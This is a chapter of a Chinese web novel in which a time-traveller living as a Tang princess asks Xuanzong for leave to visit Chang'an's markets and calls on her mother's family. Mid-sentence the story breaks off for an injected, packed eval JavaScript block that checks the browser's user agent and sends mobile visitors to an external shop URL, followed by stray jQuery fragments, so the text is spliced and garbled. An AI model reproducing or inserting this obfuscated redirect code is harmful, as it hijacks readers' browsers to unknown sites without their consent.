李璟听了尹谦的话,倒是有些不以为意。她从前连庙都没进过,一向信奉求人不如求己的真理,虽然穿越这事儿让她有些动摇。
但总的来说,对这些道士的话,她听一半信一半——好话就听,坏话只当瞎说。
另外,有贵人气运的,应该不是她,是原本的咸宜吧。
月光照在兴庆宫的青石路上,透过树梢,落在李璟侧脸上。
“阿娘在想什么?”
武惠妃一直盯着李璟的侧脸,像是要在上头盯出个洞来。
她停下脚步,半蹲下身子,既像在告诫李璟,又像在告诫自己:“不管以后发生什么,阿娘永远站在你这边。阿娘只盼你们都能平平安安长大。”
武惠妃眉眼间带着一缕化不开的忧愁。
李璟很聪明,她明白武惠妃是在担忧那句“贵人气运”。担心皇帝会因此冷落自己的女儿,甚至更过分,对自己的女儿做些什么。
但李璟觉得李隆基不会。她还太小,什么都没做过。而且她眼下的愿望,只是在安史之乱中活下去;若能护一护身边人,就更心满意足了。
她跟李隆基不出意外将没有任何利益冲突。
不过,眼下讨好一下李隆基倒也不坏。既能让他看见自己是个乖女儿,维系帝王宠爱,也能安一安武惠妃的心。
李璟主动牵起武惠妃的手。蝉鸣声断断续续,有气无力的,晚风裹着龙池的湿热气吹过来,宫女提着灯,灯影摇摇晃晃的打在前头。
“我知道啦,阿娘。马上就是千秋节了,我要给阿耶备什么礼物啊?”
这件事她琢磨了两天,发现自己实在不懂唐朝的礼制,手里也没钱。
她还小呢,解决不了的问题,就该第一时间找大人。
“唔……”武惠妃单手托着脸,捏了捏耳坠,“按规矩来说,你们这些皇子公主,送个自己绣的香囊,或是打面铜镜,也就够了。年年如此。”
“或者送些有意义的、自己动手做的东西,不必太贵重。”
“前些年阿璟年纪小,每年的贺礼都是阿娘替你备的。”她顿了顿,带着点揶揄,“可今年,阿璟前些日子就跟陛下提过,说定要自己准备些别出心裁的。”
李璟扁扁嘴。咸宜啊咸宜,你怎么给我留了这么个任务。
武惠妃看她这副模样,噗嗤一声笑了出来。
“离千秋节还有半月有余呢。阿璟慢慢想,想好了就派人去少府监通报一声,倒也不用你真上手做。”
李璟摇摇头。既然系统也说要“难忘的礼物”,那落点多半还得在“自己亲手做”上,不然怎么跟别人区分开来?
宫里怕是找不到什么特别的了。要不去宫外逛逛,找找灵感?
“阿娘……璟能出宫找找灵感吗?”她讨好地晃晃武惠妃的胳膊,晃得人险些站不住。
“哎哟,我的小祖宗,你快把阿娘的手晃断了。”武惠妃笑着揽过她,“这事阿娘说了可不算。你若是想出宫,得你阿耶点头。”
第二日下朝,李璟便匆匆忙忙跑到勤政务本楼外等着。
“将军……将军!”李璟带着令春,压着嗓子喊站在外头的高力士。
高力士足有一米九,眉清目秀,身姿挺拔。他转身找了两三圈,愣是没看见声音从哪儿来。
李璟伸手比了比自己,又比了比对方,叹了口气,从廊柱后头走了出来。
“将军生得这样高大,竟都瞧不见璟。”
高力士看她踮着小脚,努力要跟自己比个子的模样,有些想笑:“十八娘莫急,多吃饭,慢慢就长高了。”
“今日怎么想起到这儿来了?是有事要找陛下?”
他蹲下身,刚好比李璟矮了半个头,清凌凌地看着她。
“是呢,劳烦将军替璟通报一声。”
“那十八娘可得等一会儿了。礼部尚书正在里头,同陛下商议千秋节的流程呢。”高力士招来一个小太监,“带公主先去偏殿候着。”
小太监很恭敬,一路没多说半句话。把李璟带到偏殿后,又恰到好处地上了热茶和几样小孩子爱吃的点心。
礼部尚书走后,高力士端着厚厚一叠奏折进来,轻轻放在李隆基书案上:“陛下,十八娘方才来找您,如今在偏殿候着呢。”
李隆基刚拿起最上面一本奏折,闻言又放下了:“这倒是奇了。这孩子长这么大,头一回自己主动来找朕。”
他起身松了松手腕:“也罢,先去瞧瞧十八娘。”
李璟正百无聊赖地把糖糕一块一块摞成天梯,直到地基承受不住,轰然倒塌。
“这糖糕跟了你,真是浪费了。”李隆基恰在这时迈步进来,“不爱吃就撤下去,让宫人上些顺口的。”
“阿耶——”李璟刷地从凳子上跳下来,略带谄媚地把李隆基迎进屋里。
“这么热情?”李隆基左手被李璟牵着往屋里扯,另半边身子回头看向高力士,右手指了指李璟,“你看看这孩子……今儿不知是怎么了。”
李璟嘿嘿一笑,把李隆基领到座前,伸手倒了杯热茶,轻轻推过去。
李隆基眯了眯眼:“快放下吧,别给自己烫着,回头你母妃又要担心上火,没准还要同朕闹脾气。”
“阿耶……璟想出宫。”李璟心一横,小声嘟囔出来。
“什么?”李隆基装作没听见,掏了掏耳朵。
“璟想出宫!”李璟声音大了些,“不远的,就去东市。”
“不行。”李隆基想都没想便拒绝了,“朕前几年立过规矩,公主不得出入门庭,妄说言语。虽然那时还没有你,你年纪也小,但也不能在你这里开个坏头。”
李璟咬咬牙,狠下心再撒一回娇:“哎呀,璟还小呢。而且我是为了给阿耶寻千秋节的寿礼呀……”
“况且昨日二舅舅在东市给了我一间铺子,我也想去看看。”
“嗯……这个朕知道。昨日你外祖家同朕说过了。”李隆基半睁着眼睛,“真是给朕找千秋节礼物?不是为着去玩?”
“当然啦。”
“既如此,朕拨六名千牛卫给你,马车让你阿娘提前在宫里备好,再给你换上寻常人家的装扮……”
“另让郑国夫人或你二舅舅陪着。不然朕不放心。”
千牛卫既是保护,也是监视。虽然李璟年纪小,做不了什么,可规矩就是规矩。带着千牛卫,也算是给李璟这次破例寻了道挡箭牌。
朱红色的金明门“吱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881449|212475||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
呀”一声缓缓打开。李璟坐着小马车,一路向延康坊驶去。
行人往来熙攘。清晨微凉的空气里,混着热腾腾的叫卖声——糖人、包子、蒸糕、糖葫芦……李璟看见什么都想停一停,让宫人买些来。
“公主,不能再停了,延康坊离得还远着呢。”千牛卫将她看中的那枚玉佩买下,递给女童,“等到了老夫人那儿,再慢慢逛不迟。”
“好的好的。”李璟也不任性。外祖家在西市,她要去东市,她明白李隆基的安排,是想让她能光明正大地在长安城里转上一圈。
穿过朱雀大街,一路向西,踏进长安县的地界。武家的宅子就在延康坊东南部,靠近十字大街,繁华又气派。
郑国夫人早早带着人在门口盼着了。马车刚一停稳,她便派人上前要接李璟下车,却被千牛卫拦了一下。千牛卫稳稳地将李璟接下来。
“外祖母!”李璟兴奋地小跑过去。
“慢点慢点。头回出宫,热闹坏了吧?觉不觉得外头吵?”郑国夫人掏出手帕给李璟擦了擦脸,又牵起她的手,把人往府里领。
武家的宅邸占地极大。小石桥伴着流水哗啦哗啦地响,睡莲在水缸里摇曳生姿,山石层叠间,有雀鸟争相飞出。
“大舅舅!”
武忠下了朝,习惯在廊下空地打拳。武忠夫人杨蓁正拿着算盘,在一旁拨得“啪啪”直响。
杨蓁听见声音,比武忠反应还快:“是不是阿璟到了?”
她把算盘压到正看着的账本那一页,又轻轻搁好毛笔,笑着迎过去:“上次见阿璟,还是除夕年节时呢。不是总说最喜欢大舅母吗?怎的今日过来了,只喊那个打拳的呆子?”
李璟其实不认得这是谁,但从话里能推断出来,而且这女子眼神热烈又真诚,看来是真的喜欢她。
于是她便顺着甜甜的喊了一声,“大舅母~”
“没有啦,只是看见大舅舅在打拳,舅母又坐在地上,璟没瞧见。”
“哼,你个小鬼灵精。”杨蓁眉若含黛,朱唇不点而朱,凤眼微微上扬,做出一副嗔怒的表情。
果然是武家一脉相承的审美啊!
杨蓁吩咐婢女把东西收起来:“你大舅舅还得打一会儿,倔得很。咱们先去正厅坐。”
“阿婆,您今早的药喝了没?”杨蓁站到郑国夫人另一侧,伸手去扶。
“哎呀,我又没病,总调理什么身体?”郑国夫人轻声狡辩。
正厅里,一个穿绿色锦衣的女子正在沏茶。素手纤纤,拨弄茶盏,茶香沁人心脾,抬头是露出一张温婉的脸。
这是武信的夫人,卢蘅。
卢蘅杏眼带着三分初春的甜气,笑起来温柔甜美:“老远就听见嫂嫂的声音了。刚好我沏了茶,都忙了一早上,润润喉吧。”
“二舅母好。怎的不见二舅舅?”李璟非常给面子地抿了一口茶——啊!烫!
“今儿是十七,庄子上派人送东西来,他去查货了。”卢蘅递给李璟一块甜点。
“陛下昨儿个便告知了你的行程,这些点心都是一早派人去买的。”郑国夫人端起茶抿了一口,“陛下还说了,让你在这儿待一上午,下午再去东市。逛完东市,从初阳门回宫。”